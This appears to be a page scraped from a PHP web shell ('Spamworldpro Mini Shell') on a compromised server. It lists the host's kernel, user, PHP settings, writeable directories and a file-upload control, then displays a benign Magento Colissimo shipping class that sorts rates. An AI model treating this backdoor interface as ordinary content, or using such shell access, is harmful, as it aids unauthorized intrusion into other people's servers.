Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/colissimo/module-shipping/Model/Shipping/Rate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/colissimo/module-shipping/Model/Shipping/Rate/CarrierResult.php
<?php
/**
 * Colissimo Shipping Module
 *
 * @author    Magentix
 * @copyright Copyright © 2020 Magentix. All rights reserved.
 * @license   https://www.magentix.fr/en/licence.html Magentix Software Licence
 * @link      https://colissimo.magentix.fr/
 */
namespace Colissimo\Shipping\Model\Shipping\Rate;

use Magento\Shipping\Model\Rate\CarrierResult as BaseCarrierResult;
use Magento\Quote\Model\Quote\Address\RateResult\Method;

/**
 * Class CarrierResult
 */
class CarrierResult extends BaseCarrierResult
{
    /**
     * Return all quotes in the result
     * {override} Sort order by position instead of sort order by price
     *
     * @return Method[]
     */
    public function getAllRates()
    {
        /** @var Method[] $rates */
        $rates = parent::getAllRates();

        if (!is_array($rates) || !count($rates)) {
            return $rates;
        }

        $tmp = [];
        $result = [];

        /* @var $rate Method */
        foreach ($rates as $key => $rate) {
            $tmp[$key] = $rate->getMethodSortOrder() ?: 0;
        }

        natsort($tmp);

        foreach ($tmp as $key => $price) {
            $result[] = $rates[$key];
        }

        $this->reset();
        $this->_rates = $result;

        return $this->_rates;
    }
}

Spamworldpro Mini